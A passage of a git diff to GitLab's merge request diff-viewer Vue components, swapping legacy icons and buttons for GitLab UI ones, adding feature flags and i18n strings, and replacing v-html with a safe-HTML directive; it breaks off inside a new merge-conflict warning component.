[CENTERED_LIMITED_CONTAINER_CLASSES]: isLimitedContainer,
}"
>
- <button
+ <gl-button
v-gl-tooltip.hover
- type="button"
- class="btn btn-default gl-mr-3 js-toggle-tree-list"
- :class="{
- active: showTreeList,
- }"
+ variant="default"
+ icon="file-tree"
+ class="gl-mr-3 js-toggle-tree-list"
:title="toggleFileBrowserTitle"
+ :selected="showTreeList"
@click="toggleShowTreeList"
- >
- <icon name="file-tree" />
- </button>
+ />
<gl-sprintf
v-if="showDropdowns"
class="d-flex align-items-center compare-versions-container"
@@ -124,16 +119,22 @@ export default {
:added-lines="addedLines"
:removed-lines="removedLines"
/>
- <gl-deprecated-button
+ <gl-button
v-if="commit || startVersion"
:href="latestVersionPath"
+ variant="default"
class="gl-mr-3 js-latest-version"
>
{{ __('Show latest version') }}
- </gl-deprecated-button>
- <gl-deprecated-button v-show="hasCollapsedFile" class="gl-mr-3" @click="expandAllFiles">
+ </gl-button>
+ <gl-button
+ v-show="hasCollapsedFile"
+ variant="default"
+ class="gl-mr-3"
+ @click="expandAllFiles"
+ >
{{ __('Expand all') }}
- </gl-deprecated-button>
+ </gl-button>
<settings-dropdown />
</div>
</div>
diff --git a/app/assets/javascripts/diffs/components/diff_content.vue b/app/assets/javascripts/diffs/components/diff_content.vue
index 087a558efdc..9ecb9a44443 100644
--- a/app/assets/javascripts/diffs/components/diff_content.vue
+++ b/app/assets/javascripts/diffs/components/diff_content.vue
@@ -1,6 +1,7 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
import { GlLoadingIcon } from '@gitlab/ui';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import diffLineNoteFormMixin from '~/notes/mixins/diff_line_note_form';
import draftCommentsMixin from '~/diffs/mixins/draft_comments';
import DiffViewer from '~/vue_shared/components/diff_viewer/diff_viewer.vue';
@@ -32,7 +33,7 @@ export default {
userAvatarLink,
DiffFileDrafts,
},
- mixins: [diffLineNoteFormMixin, draftCommentsMixin],
+ mixins: [diffLineNoteFormMixin, draftCommentsMixin, glFeatureFlagsMixin()],
props: {
diffFile: {
type: Object,
@@ -48,8 +49,12 @@ export default {
...mapState({
projectPath: state => state.diffs.projectPath,
}),
- ...mapGetters('diffs', ['isInlineView', 'isParallelView']),
- ...mapGetters('diffs', ['getCommentFormForDiffFile']),
+ ...mapGetters('diffs', [
+ 'isInlineView',
+ 'isParallelView',
+ 'getCommentFormForDiffFile',
+ 'diffLines',
+ ]),
...mapGetters(['getNoteableData', 'noteableType', 'getUserData']),
diffMode() {
return getDiffMode(this.diffFile);
@@ -114,13 +119,15 @@ export default {
<inline-diff-view
v-if="isInlineView"
:diff-file="diffFile"
- :diff-lines="diffFile.highlighted_diff_lines || []"
+ :diff-lines="diffFile.highlighted_diff_lines"
:help-page-path="helpPagePath"
/>
<parallel-diff-view
v-else-if="isParallelView"
:diff-file="diffFile"
- :diff-lines="diffFile.parallel_diff_lines || []"
+ :diff-lines="
+ glFeatures.unifiedDiffLines ? diffLines(diffFile) : diffFile.parallel_diff_lines || []
+ "
:help-page-path="helpPagePath"
/>
<gl-loading-icon v-if="diffFile.renderingLines" size="md" class="mt-3" />
diff --git a/app/assets/javascripts/diffs/components/diff_discussions.vue b/app/assets/javascripts/diffs/components/diff_discussions.vue
index b6a0724c201..7b55bd2104d 100644
--- a/app/assets/javascripts/diffs/components/diff_discussions.vue
+++ b/app/assets/javascripts/diffs/components/diff_discussions.vue
@@ -1,12 +1,12 @@
<script>
import { mapActions } from 'vuex';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import noteableDiscussion from '../../notes/components/noteable_discussion.vue';
export default {
components: {
noteableDiscussion,
- Icon,
+ GlIcon,
},
props: {
discussions: {
@@ -70,7 +70,7 @@ export default {
class="js-diff-notes-toggle"
@click="toggleDiscussion({ discussionId: discussion.id })"
>
- <icon v-if="discussion.expanded" name="collapse" class="collapse-icon" />
+ <gl-icon v-if="discussion.expanded" name="collapse" class="collapse-icon" />
<template v-else>
{{ index + 1 }}
</template>
diff --git a/app/assets/javascripts/diffs/components/diff_expansion_cell.vue b/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
index e5e63bdcb43..0094b4f8707 100644
--- a/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
+++ b/app/assets/javascripts/diffs/components/diff_expansion_cell.vue
@@ -1,8 +1,9 @@
<script>
import { mapState, mapActions } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { s__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
+import { s__, sprintf } from '~/locale';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { UNFOLD_COUNT, INLINE_DIFF_VIEW_TYPE, PARALLEL_DIFF_VIEW_TYPE } from '../constants';
import * as utils from '../store/utils';
import tooltip from '../../vue_shared/directives/tooltip';
@@ -17,17 +18,23 @@ const lineNumberByViewType = (viewType, diffLine) => {
[PARALLEL_DIFF_VIEW_TYPE]: line => (line?.right || line?.left)?.new_line,
};
const numberGetter = numberGetters[viewType];
-
return numberGetter && numberGetter(diffLine);
};
+const i18n = {
+ showMore: sprintf(s__('Diffs|Show %{unfoldCount} lines'), { unfoldCount: UNFOLD_COUNT }),
+ showAll: s__('Diffs|Show all unchanged lines'),
+};
+
export default {
+ i18n,
directives: {
tooltip,
},
components: {
- Icon,
+ GlIcon,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
fileHash: {
type: String,
@@ -59,7 +66,9 @@ export default {
},
computed: {
...mapState({
- diffViewType: state => state.diffs.diffViewType,
+ diffViewType(state) {
+ return this.glFeatures.unifiedDiffLines ? INLINE_DIFF_VIEW_TYPE : state.diffs.diffViewType;
+ },
diffFiles: state => state.diffs.diffFiles,
}),
canExpandUp() {
@@ -226,32 +235,27 @@ export default {
</script>
<template>
- <td :colspan="colspan" class="text-center">
+ <td :colspan="colspan" class="text-center gl-font-regular">
<div class="content js-line-expansion-content">
<a
- v-if="canExpandUp"
- v-tooltip
- class="cursor-pointer js-unfold unfold-icon d-inline-block pt-2 pb-2"
- data-placement="top"
- data-container="body"
- :title="__('Expand up')"
- @click="handleExpandLines(EXPAND_UP)"
+ v-if="canExpandDown"
+ class="gl-mx-2 gl-cursor-pointer js-unfold-down gl-display-inline-block gl-py-4"
+ @click="handleExpandLines(EXPAND_DOWN)"
>
- <icon :size="12" name="expand-up" aria-hidden="true" />
+ <gl-icon :size="12" name="expand-down" aria-hidden="true" />
+ <span>{{ $options.i18n.showMore }}</span>
</a>
- <a class="mx-2 cursor-pointer js-unfold-all" @click="handleExpandLines()">
- <span>{{ s__('Diffs|Show unchanged lines') }}</span>
+ <a class="gl-mx-2 cursor-pointer js-unfold-all" @click="handleExpandLines()">
+ <gl-icon :size="12" name="expand" aria-hidden="true" />
+ <span>{{ $options.i18n.showAll }}</span>
</a>
<a
- v-if="canExpandDown"
- v-tooltip
- class="cursor-pointer js-unfold-down has-tooltip unfold-icon d-inline-block pt-2 pb-2"
- data-placement="top"
- data-container="body"
- :title="__('Expand down')"
- @click="handleExpandLines(EXPAND_DOWN)"
+ v-if="canExpandUp"
+ class="gl-mx-2 gl-cursor-pointer js-unfold gl-display-inline-block gl-py-4"
+ @click="handleExpandLines(EXPAND_UP)"
>
- <icon :size="12" name="expand-down" aria-hidden="true" />
+ <gl-icon :size="12" name="expand-up" aria-hidden="true" />
+ <span>{{ $options.i18n.showMore }}</span>
</a>
</div>
</td>
diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue
index eace673c2d7..9a7ed76bad3 100644
--- a/app/assets/javascripts/diffs/components/diff_file.vue
+++ b/app/assets/javascripts/diffs/components/diff_file.vue
@@ -1,23 +1,32 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
import { escape } from 'lodash';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlButton, GlLoadingIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import { __, sprintf } from '~/locale';
+import { sprintf } from '~/locale';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { hasDiff } from '~/helpers/diffs_helper';
import eventHub from '../../notes/event_hub';
import DiffFileHeader from './diff_file_header.vue';
import DiffContent from './diff_content.vue';
import { diffViewerErrors } from '~/ide/constants';
+import { GENERIC_ERROR, DIFF_FILE } from '../i18n';
export default {
components: {
DiffFileHeader,
DiffContent,
+ GlButton,
GlLoadingIcon,
},
+ directives: {
+ SafeHtml,
+ },
mixins: [glFeatureFlagsMixin()],
+ i18n: {
+ genericError: GENERIC_ERROR,
+ ...DIFF_FILE,
+ },
props: {
file: {
type: Object,
@@ -50,7 +59,7 @@ export default {
...mapGetters('diffs', ['getDiffFileDiscussions']),
viewBlobLink() {
return sprintf(
- __('You can %{linkStart}view the blob%{linkEnd} instead.'),
+ this.$options.i18n.blobView,
{
linkStart: `<a href="${escape(this.file.view_path)}">`,
linkEnd: '</a>',
@@ -72,9 +81,7 @@ export default {
},
forkMessage() {
return sprintf(
- __(
- "You're not allowed to %{tag_start}edit%{tag_end} files in this project directly. Please fork this project, make your changes there, and submit a merge request.",
- ),
+ this.$options.i18n.editInFork,
{
tag_start: '<span class="js-file-fork-suggestion-section-action">',
tag_end: '</span>',
@@ -93,11 +100,7 @@ export default {
},
'file.file_hash': {
handler: function watchFileHash() {
- if (
- this.glFeatures.autoExpandCollapsedDiffs &&
- this.viewDiffsFileByFile &&
- this.file.viewer.collapsed
- ) {
+ if (this.viewDiffsFileByFile && this.file.viewer.collapsed) {
this.isCollapsed = false;
this.handleLoadCollapsedDiff();
} else {
@@ -107,7 +110,7 @@ export default {
immediate: true,
},
'file.viewer.collapsed': function setIsCollapsed(newVal) {
- if (!this.viewDiffsFileByFile && !this.glFeatures.autoExpandCollapsedDiffs) {
+ if (!this.viewDiffsFileByFile) {
this.isCollapsed = newVal;
}
},
@@ -149,7 +152,7 @@ export default {
})
.catch(() => {
this.isLoadingCollapsedDiff = false;
- createFlash(__('Something went wrong on our end. Please try again!'));
+ createFlash(this.$options.i18n.genericError);
});
},
showForkMessage() {
@@ -185,32 +188,38 @@ export default {
/>
<div v-if="forkMessageVisible" class="js-file-fork-suggestion-section file-fork-suggestion">
- <span class="file-fork-suggestion-note" v-html="forkMessage"></span>
+ <span v-safe-html="forkMessage" class="file-fork-suggestion-note"></span>
<a
:href="file.fork_path"
class="js-fork-suggestion-button btn btn-grouped btn-inverted btn-success"
- >{{ __('Fork') }}</a
+ >{{ $options.i18n.fork }}</a
>
<button
class="js-cancel-fork-suggestion-button btn btn-grouped"
type="button"
@click="hideForkMessage"
>
- {{ __('Cancel') }}
+ {{ $options.i18n.cancel }}
</button>
</div>
<gl-loading-icon v-if="showLoadingIcon" class="diff-content loading" />
<template v-else>
<div :id="`diff-content-${file.file_hash}`">
<div v-if="errorMessage" class="diff-viewer">
- <div class="nothing-here-block" v-html="errorMessage"></div>
+ <div v-safe-html="errorMessage" class="nothing-here-block"></div>
</div>
<template v-else>
- <div v-show="isCollapsed" class="nothing-here-block diff-collapsed">
- {{ __('This diff is collapsed.') }}
- <a class="click-to-expand js-click-to-expand" href="#" @click.prevent="handleToggle">{{
- __('Click to expand it.')
- }}</a>
+ <div v-show="isCollapsed" class="gl-p-7 gl-text-center collapsed-file-warning">
+ <p class="gl-mb-8 gl-mt-5">
+ {{ $options.i18n.collapsed }}
+ </p>
+ <gl-button
+ class="gl-alert-action gl-mb-5"
+ data-testid="expandButton"
+ @click="handleToggle"
+ >
+ {{ $options.i18n.expand }}
+ </gl-button>
</div>
<diff-content
v-show="!isCollapsed && !isFileTooLarge"
diff --git a/app/assets/javascripts/diffs/components/diff_file_header.vue b/app/assets/javascripts/diffs/components/diff_file_header.vue
index 5727fbaaf68..fded391cc84 100644
--- a/app/assets/javascripts/diffs/components/diff_file_header.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_header.vue
@@ -1,9 +1,16 @@
<script>
+/* eslint-disable vue/no-v-html */
import { escape } from 'lodash';
import { mapActions, mapGetters } from 'vuex';
-import { GlDeprecatedButton, GlTooltipDirective, GlLoadingIcon } from '@gitlab/ui';
+import {
+ GlDeprecatedButton,
+ GlTooltipDirective,
+ GlSafeHtmlDirective,
+ GlLoadingIcon,
+ GlIcon,
+ GlButton,
+} from '@gitlab/ui';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import { truncateSha } from '~/lib/utils/text_utility';
import { __, s__, sprintf } from '~/locale';
@@ -18,12 +25,14 @@ export default {
GlDeprecatedButton,
ClipboardButton,
EditButton,
- Icon,
+ GlIcon,
FileIcon,
DiffStats,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
+ SafeHtml: GlSafeHtmlDirective,
},
props: {
discussionPath: {
@@ -77,6 +86,21 @@ export default {
return this.discussionPath;
},
+ submoduleDiffCompareLinkText() {
+ if (this.diffFile.submodule_compare) {
+ const truncatedOldSha = escape(truncateSha(this.diffFile.submodule_compare.old_sha));
+ const truncatedNewSha = escape(truncateSha(this.diffFile.submodule_compare.new_sha));
+ return sprintf(
+ s__('Compare %{oldCommitId}...%{newCommitId}'),
+ {
+ oldCommitId: `<span class="commit-sha">${truncatedOldSha}</span>`,
+ newCommitId: `<span class="commit-sha">${truncatedNewSha}</span>`,
+ },
+ false,
+ );
+ }
+ return null;
+ },
filePath() {
if (this.diffFile.submodule) {
return `${this.diffFile.file_path} @ ${truncateSha(this.diffFile.blob.id)}`;
@@ -133,6 +157,7 @@ export default {
'toggleFileDiscussions',
'toggleFileDiscussionWrappers',
'toggleFullDiff',
+ 'toggleActiveFileByHash',
]),
handleToggleFile() {
this.$emit('toggleFile');
@@ -149,6 +174,9 @@ export default {
const selector = this.diffContentIDSelector;
scrollToElement(document.querySelector(selector));
window.location.hash = selector;
+ if (!this.viewDiffsFileByFile) {
+ this.toggleActiveFileByHash(this.diffFile.file_hash);
+ }
}
},
},
@@ -162,7 +190,7 @@ export default {
@click.self="handleToggleFile"
>
<div class="file-header-content">
- <icon
+ <gl-icon
v-if="collapsible"
ref="collapseIcon"
:name="collapseIcon"
@@ -237,7 +265,7 @@ export default {
type="button"
@click="toggleFileDiscussionWrappers(diffFile)"
>
- <icon name="comment" />
+ <gl-icon name="comment" />
</gl-deprecated-button>
</span>
@@ -273,8 +301,8 @@ export default {
@click="toggleFullDiff(diffFile.file_path)"
>
<gl-loading-icon v-if="diffFile.isLoadingFullFile" color="dark" inline />
- <icon v-else-if="diffFile.isShowingFullFile" name="doc-changes" />
- <icon v-else name="doc-expand" />
+ <gl-icon v-else-if="diffFile.isShowingFullFile" name="doc-changes" />
+ <gl-icon v-else name="doc-expand" />
</gl-deprecated-button>
<gl-deprecated-button
ref="viewButton"
@@ -287,7 +315,7 @@ export default {
data-track-property="diff_toggle_view_sha"
:title="viewFileButtonText"
>
- <icon name="doc-text" />
+ <gl-icon name="doc-text" />
</gl-deprecated-button>
<a
@@ -303,9 +331,22 @@ export default {
data-track-property="diff_toggle_external"
class="btn btn-file-option"
>
- <icon name="external-link" />
+ <gl-icon name="external-link" />
</a>
</div>
</div>
+
+ <div
+ v-if="diffFile.submodule_compare"
+ class="file-actions d-none d-sm-flex align-items-center flex-wrap"
+ >
+ <gl-button
+ v-gl-tooltip.hover
+ v-safe-html="submoduleDiffCompareLinkText"
+ class="submodule-compare"
+ :title="s__('Compare submodule commit revisions')"
+ :href="diffFile.submodule_compare.url"
+ />
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/diffs/components/diff_file_row.vue b/app/assets/javascripts/diffs/components/diff_file_row.vue
index 43b669625f4..2856e6ae8eb 100644
--- a/app/assets/javascripts/diffs/components/diff_file_row.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_row.vue
@@ -3,9 +3,10 @@
* This component is an iterative step towards refactoring and simplifying `vue_shared/components/file_row.vue`
* https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23720
*/
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import FileRow from '~/vue_shared/components/file_row.vue';
-import FileRowStats from './file_row_stats.vue';
import ChangedFileIcon from '~/vue_shared/components/changed_file_icon.vue';
+import FileRowStats from './file_row_stats.vue';
export default {
name: 'DiffFileRow',
@@ -14,6 +15,7 @@ export default {
FileRowStats,
ChangedFileIcon,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
file: {
type: Object,
@@ -28,11 +30,28 @@ export default {
required: false,
default: null,
},
+ viewedFiles: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
},
computed: {
showFileRowStats() {
return !this.hideFileStats && this.file.type === 'blob';
},
+ fileClasses() {
+ if (!this.glFeatures.highlightCurrentDiffRow) {
+ return '';
+ }
+
+ return this.file.type === 'blob' && !this.viewedFiles[this.file.fileHash]
+ ? 'gl-font-weight-bold'
+ : '';
+ },
+ isActive() {
+ return this.currentDiffFileId === this.file.fileHash;
+ },
},
};
</script>
@@ -41,8 +60,9 @@ export default {
<file-row
:file="file"
v-bind="$attrs"
- :class="{ 'is-active': currentDiffFileId === file.fileHash }"
+ :class="{ 'is-active': isActive }"
class="diff-file-row"
+ :file-classes="fileClasses"
v-on="$listeners"
>
<file-row-stats v-if="showFileRowStats" :file="file" class="mr-1" />
diff --git a/app/assets/javascripts/diffs/components/diff_gutter_avatars.vue b/app/assets/javascripts/diffs/components/diff_gutter_avatars.vue
index be19d8520b5..439319f487c 100644
--- a/app/assets/javascripts/diffs/components/diff_gutter_avatars.vue
+++ b/app/assets/javascripts/diffs/components/diff_gutter_avatars.vue
@@ -1,14 +1,13 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { n__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import { truncate } from '~/lib/utils/text_utility';
import UserAvatarImage from '~/vue_shared/components/user_avatar/user_avatar_image.vue';
import { COUNT_OF_AVATARS_IN_GUTTER, LENGTH_OF_AVATAR_TOOLTIP } from '../constants';
export default {
components: {
- Icon,
+ GlIcon,
UserAvatarImage,
},
directives: {
@@ -68,7 +67,7 @@ export default {
class="diff-notes-collapse js-diff-comment-avatar js-diff-comment-button"
@click="$emit('toggleLineDiscussions')"
>
- <icon :size="12" name="collapse" />
+ <gl-icon :size="12" name="collapse" />
</button>
<template v-else>
<user-avatar-image
diff --git a/app/assets/javascripts/diffs/components/diff_stats.vue b/app/assets/javascripts/diffs/components/diff_stats.vue
index 439d8097e56..05fbbd39fae 100644
--- a/app/assets/javascripts/diffs/components/diff_stats.vue
+++ b/app/assets/javascripts/diffs/components/diff_stats.vue
@@ -1,10 +1,10 @@
<script>
import { isNumber } from 'lodash';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import { n__ } from '~/locale';
export default {
- components: { Icon },
+ components: { GlIcon },
props: {
addedLines: {
type: Number,
@@ -46,7 +46,7 @@ export default {
}"
>
<div v-if="hasDiffFiles" class="diff-stats-group">
- <icon name="doc-code" class="diff-stats-icon text-secondary" />
+ <gl-icon name="doc-code" class="diff-stats-icon text-secondary" />
<span class="text-secondary bold">{{ diffFilesCountText }} {{ filesText }}</span>
</div>
<div
diff --git a/app/assets/javascripts/diffs/components/edit_button.vue b/app/assets/javascripts/diffs/components/edit_button.vue
index 21fdb19287d..ff1af5569dc 100644
--- a/app/assets/javascripts/diffs/components/edit_button.vue
+++ b/app/assets/javascripts/diffs/components/edit_button.vue
@@ -1,12 +1,11 @@
<script>
-import { GlTooltipDirective, GlDeprecatedButton } from '@gitlab/ui';
+import { GlTooltipDirective, GlDeprecatedButton, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
GlDeprecatedButton,
- Icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -59,7 +58,7 @@ export default {
class="rounded-0 js-edit-blob"
@click.native="handleEditClick"
>
- <icon name="pencil" />
+ <gl-icon name="pencil" />
</gl-deprecated-button>
</span>
</template>
diff --git a/app/assets/javascripts/diffs/components/image_diff_overlay.vue b/app/assets/javascripts/diffs/components/image_diff_overlay.vue
index be7e6789216..3956c2fab49 100644
--- a/app/assets/javascripts/diffs/components/image_diff_overlay.vue
+++ b/app/assets/javascripts/diffs/components/image_diff_overlay.vue
@@ -2,12 +2,12 @@
import { mapActions, mapGetters } from 'vuex';
import { isArray } from 'lodash';
import imageDiffMixin from 'ee_else_ce/diffs/mixins/image_diff';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
export default {
name: 'ImageDiffOverlay',
components: {
- Icon,
+ GlIcon,
},
mixins: [imageDiffMixin],
props: {
@@ -112,7 +112,7 @@ export default {
type="button"
@click="clickedToggle(discussion)"
>
- <icon v-if="showCommentIcon" name="image-comment-dark" />
+ <gl-icon v-if="showCommentIcon" name="image-comment-dark" />
<template v-else>
{{ toggleText(discussion, index) }}
</template>
@@ -127,7 +127,7 @@ export default {
class="btn-transparent comment-indicator"
type="button"
>
- <icon name="image-comment-dark" />
+ <gl-icon name="image-comment-dark" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/diffs/components/inline_diff_table_row.vue b/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
index 168e8c6c14e..7fab750089e 100644
--- a/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
+++ b/app/assets/javascripts/diffs/components/inline_diff_table_row.vue
@@ -1,7 +1,6 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
-import { GlTooltipDirective } from '@gitlab/ui';
-import DiffTableCell from './diff_table_cell.vue';
+import { GlTooltipDirective, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import {
MATCH_LINE_TYPE,
NEW_LINE_TYPE,
@@ -10,14 +9,23 @@ import {
CONTEXT_LINE_CLASS_NAME,
LINE_POSITION_LEFT,
LINE_POSITION_RIGHT,
+ LINE_HOVER_CLASS_NAME,
+ OLD_NO_NEW_LINE_TYPE,
+ NEW_NO_NEW_LINE_TYPE,
+ EMPTY_CELL_TYPE,
} from '../constants';
+import { __ } from '~/locale';
+import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
+import DiffGutterAvatars from './diff_gutter_avatars.vue';
export default {
components: {
- DiffTableCell,
+ DiffGutterAvatars,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
+ SafeHtml,
},
props: {
fileHash: {
@@ -49,6 +57,7 @@ export default {
};
},
computed: {
+ ...mapGetters(['isLoggedIn']),
...mapGetters('diffs', ['fileLineCoverage']),
...mapState({
isHighlighted(state) {
@@ -78,6 +87,70 @@ export default {
coverageState() {
return this.fileLineCoverage(this.filePath, this.line.new_line);
},
+ isMetaLine() {
+ const { type } = this.line;
+
+ return (
+ type === OLD_NO_NEW_LINE_TYPE || type === NEW_NO_NEW_LINE_TYPE || type === EMPTY_CELL_TYPE
+ );
+ },
+ classNameMapCell() {
+ const { type } = this.line;
+
+ return [
+ type,
+ {
+ hll: this.isHighlighted,
+ [LINE_HOVER_CLASS_NAME]:
+ this.isLoggedIn && this.isHover && !this.isContextLine && !this.isMetaLine,
+ },
+ ];
+ },
+ addCommentTooltip() {
+ const brokenSymlinks = this.line.commentsDisabled;
+ let tooltip = __('Add a comment to this line');
+
+ if (brokenSymlinks) {
+ if (brokenSymlinks.wasSymbolic || brokenSymlinks.isSymbolic) {
+ tooltip = __(
+ 'Commenting on symbolic links that replace or are replaced by files is currently not supported.',
+ );
+ } else if (brokenSymlinks.wasReal || brokenSymlinks.isReal) {
+ tooltip = __(
+ 'Commenting on files that replace or are replaced by symbolic links is currently not supported.',
+ );
+ }
+ }
+
+ return tooltip;
+ },
+ shouldRenderCommentButton() {
+ if (this.isLoggedIn) {
+ const isDiffHead = parseBoolean(getParameterByName('diff_head'));
+ return !isDiffHead || gon.features?.mergeRefHeadComments;
+ }
+
+ return false;
+ },
+ shouldShowCommentButton() {
+ return this.isHover && !this.isContextLine && !this.isMetaLine && !this.hasDiscussions;
+ },
+ hasDiscussions() {
+ return this.line.discussions && this.line.discussions.length > 0;
+ },
+ lineHref() {
+ return `#${this.line.line_code || ''}`;
+ },
+ lineCode() {
+ return (
+ this.line.line_code ||
+ (this.line.left && this.line.left.line_code) ||
+ (this.line.right && this.line.right.line_code)
+ );
+ },
+ shouldShowAvatarsOnGutter() {
+ return this.hasDiscussions;
+ },
},
created() {
this.newLineType = NEW_LINE_TYPE;
@@ -89,12 +162,20 @@ export default {
this.scrollToLineIfNeededInline(this.line);
},
methods: {
- ...mapActions('diffs', ['scrollToLineIfNeededInline']),
+ ...mapActions('diffs', [
+ 'scrollToLineIfNeededInline',
+ 'showCommentForm',
+ 'setHighlightedRow',
+ 'toggleLineDiscussions',
+ ]),
handleMouseMove(e) {
// To show the comment icon on the gutter we need to know if we hover the line.
// Current table structure doesn't allow us to do this with CSS in both of the diff view types
this.isHover = e.type === 'mouseover';
},
+ handleCommentButton() {
+ this.showCommentForm({ lineCode: this.line.line_code, fileHash: this.fileHash });
+ },
},
};
</script>
@@ -108,25 +189,52 @@ export default {
@mouseover="handleMouseMove"
@mouseout="handleMouseMove"
>
- <diff-table-cell
- :file-hash="fileHash"
- :line="line"
- :line-type="oldLineType"
- :is-bottom="isBottom"
- :is-hover="isHover"
- :show-comment-button="true"
- :is-highlighted="isHighlighted"
- class="diff-line-num old_line"
- />
- <diff-table-cell
- :file-hash="fileHash"
- :line="line"
- :line-type="newLineType"
- :is-bottom="isBottom"
- :is-hover="isHover"
- :is-highlighted="isHighlighted"
- class="diff-line-num new_line qa-new-diff-line"
- />
+ <td ref="oldTd" class="diff-line-num old_line" :class="classNameMapCell">
+ <span
+ v-if="shouldRenderCommentButton"
+ ref="addNoteTooltip"
+ v-gl-tooltip
+ class="add-diff-note tooltip-wrapper"
+ :title="addCommentTooltip"
+ >
+ <button
+ v-show="shouldShowCommentButton"
+ ref="addDiffNoteButton"
+ type="button"
+ class="add-diff-note note-button js-add-diff-note-button qa-diff-comment"
+ :disabled="line.commentsDisabled"
+ @click="handleCommentButton"
+ >
+ <gl-icon :size="12" name="comment" />
+ </button>
+ </span>
+ <a
+ v-if="line.old_line"
+ ref="lineNumberRefOld"
+ :data-linenumber="line.old_line"
+ :href="lineHref"
+ @click="setHighlightedRow(lineCode)"
+ >
+ </a>
+ <diff-gutter-avatars
+ v-if="shouldShowAvatarsOnGutter"
+ :discussions="line.discussions"
+ :discussions-expanded="line.discussionsExpanded"
+ @toggleLineDiscussions="
+ toggleLineDiscussions({ lineCode, fileHash, expanded: !line.discussionsExpanded })
+ "
+ />
+ </td>
+ <td ref="newTd" class="diff-line-num new_line qa-new-diff-line" :class="classNameMapCell">
+ <a
+ v-if="line.new_line"
+ ref="lineNumberRefNew"
+ :data-linenumber="line.new_line"
+ :href="lineHref"
+ @click="setHighlightedRow(lineCode)"
+ >
+ </a>
+ </td>
<td
v-gl-tooltip.hover
:title="coverageState.text"
@@ -134,6 +242,7 @@ export default {
class="line-coverage"
></td>
<td
+ v-safe-html="line.rich_text"
:class="[
line.type,
{
@@ -141,7 +250,6 @@ export default {
},
]"
class="line_content with-coverage"
- v-html="line.rich_text"
></td>
</tr>
</template>
diff --git a/app/assets/javascripts/diffs/components/inline_diff_view.vue b/app/assets/javascripts/diffs/components/inline_diff_view.vue
index e82d06ee385..13805910648 100644
--- a/app/assets/javascripts/diffs/components/inline_diff_view.vue
+++ b/app/assets/javascripts/diffs/components/inline_diff_view.vue
@@ -1,5 +1,6 @@
<script>
import { mapGetters, mapState } from 'vuex';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import draftCommentsMixin from '~/diffs/mixins/draft_comments';
import InlineDraftCommentRow from '~/batch_comments/components/inline_draft_comment_row.vue';
import inlineDiffTableRow from './inline_diff_table_row.vue';
@@ -14,7 +15,7 @@ export default {
InlineDraftCommentRow,
inlineDiffExpansionRow,
},
- mixins: [draftCommentsMixin],
+ mixins: [draftCommentsMixin, glFeatureFlagsMixin()],
props: {
diffFile: {
type: Object,
diff --git a/app/assets/javascripts/diffs/components/merge_conflict_warning.vue b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
new file mode 100644
index 00000000000..e47bea8e589
--- /dev/null
+++ b/app/assets/javascripts/diffs/components/merge_conflict_warning.vue
@@ -0,0 +1,72 @@
+<script>
+import { GlButton, GlAlert } from '@gitlab/ui';
+import { CENTERED_LIMITED_CONTAINER_CLASSES } from '../constants';
+
+export default {
+ components: {
+ GlAlert,
+ GlButton,
+ },
+ props: {
+ limited: {
+ type: Boolean,
+ required: true,
+ },
+ mergeable: {
+ type: Boolean,
+ required: true,
+ },
+ resolutionPath: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ containerClasses() {
+ return {
+ [CENTERED_LIMITED_CONTAINER_CLASSES]: this.limited,
+ };
+ },
+ },
+};
+</script>
+
+<template>
+ <div :class="containerClasses">
+ <gl-alert
+ :dismissible="false"
+ :title="__('There are merge conflicts')"
+ variant="warning"
+ class="gl-mb-5"
+ >
+ <p class="gl-mb-2">
+ {{ __('The comparison view may be inaccurate due to merge conflicts.') }}
+ </p>
+ <p class="gl-mb-0">
+ {{
+ __(
+ 'Resolve these conflicts or ask someone with write access to this repository to merge it locally.',
+ )
+ }}
+ </p>
+ <template #actions>
+ <gl-button
